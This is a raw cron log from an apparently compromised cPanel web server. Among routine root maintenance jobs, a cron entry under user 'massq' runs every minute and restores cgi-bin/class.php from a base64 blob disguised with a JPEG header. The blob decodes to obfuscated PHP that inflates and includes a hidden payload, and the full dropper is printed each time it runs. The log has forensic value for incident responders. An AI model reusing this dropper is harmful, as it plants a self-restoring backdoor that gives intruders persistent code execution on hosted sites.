Sep  2 23:19:01 server CROND[29709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:20:01 server CROND[30114]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 23:20:01 server CROND[30115]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 23:20:01 server CROND[30119]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 23:20:01 server CROND[30122]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 23:20:01 server CROND[30125]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:20:01 server CROND[30127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:20:01 server CROND[30123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:20:01 server CROND[30129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:20:01 server CROND[30128]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:21:01 server CROND[30956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:21:01 server CROND[30957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:21:01 server CROND[30955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:22:01 server CROND[31426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:22:01 server CROND[31427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:22:01 server CROND[31428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:23:01 server CROND[31807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:23:01 server CROND[31808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:23:01 server CROND[31809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:24:01 server CROND[32188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:24:01 server CROND[32189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:24:01 server CROND[32190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:25:01 server CROND[32585]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 23:25:01 server CROND[32587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:25:01 server CROND[32604]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 23:25:01 server CROND[32607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:25:01 server CROND[32608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:25:01 server CROND[32606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:25:01 server CROND[32605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:26:01 server CROND[996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:26:01 server CROND[997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:26:01 server CROND[995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:27:01 server CROND[1581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:27:01 server CROND[1582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:27:01 server CROND[1584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:27:01 server CROND[1583]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 23:28:01 server CROND[2007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:28:01 server CROND[2008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:28:01 server CROND[2009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:29:01 server CROND[2401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:29:01 server CROND[2402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:29:01 server CROND[2403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:30:01 server CROND[2823]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 23:30:01 server CROND[2824]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:30:01 server CROND[2825]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 23:30:01 server CROND[2826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:30:01 server CROND[2827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:30:01 server CROND[2829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:30:01 server CROND[2833]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 23:30:01 server CROND[2831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
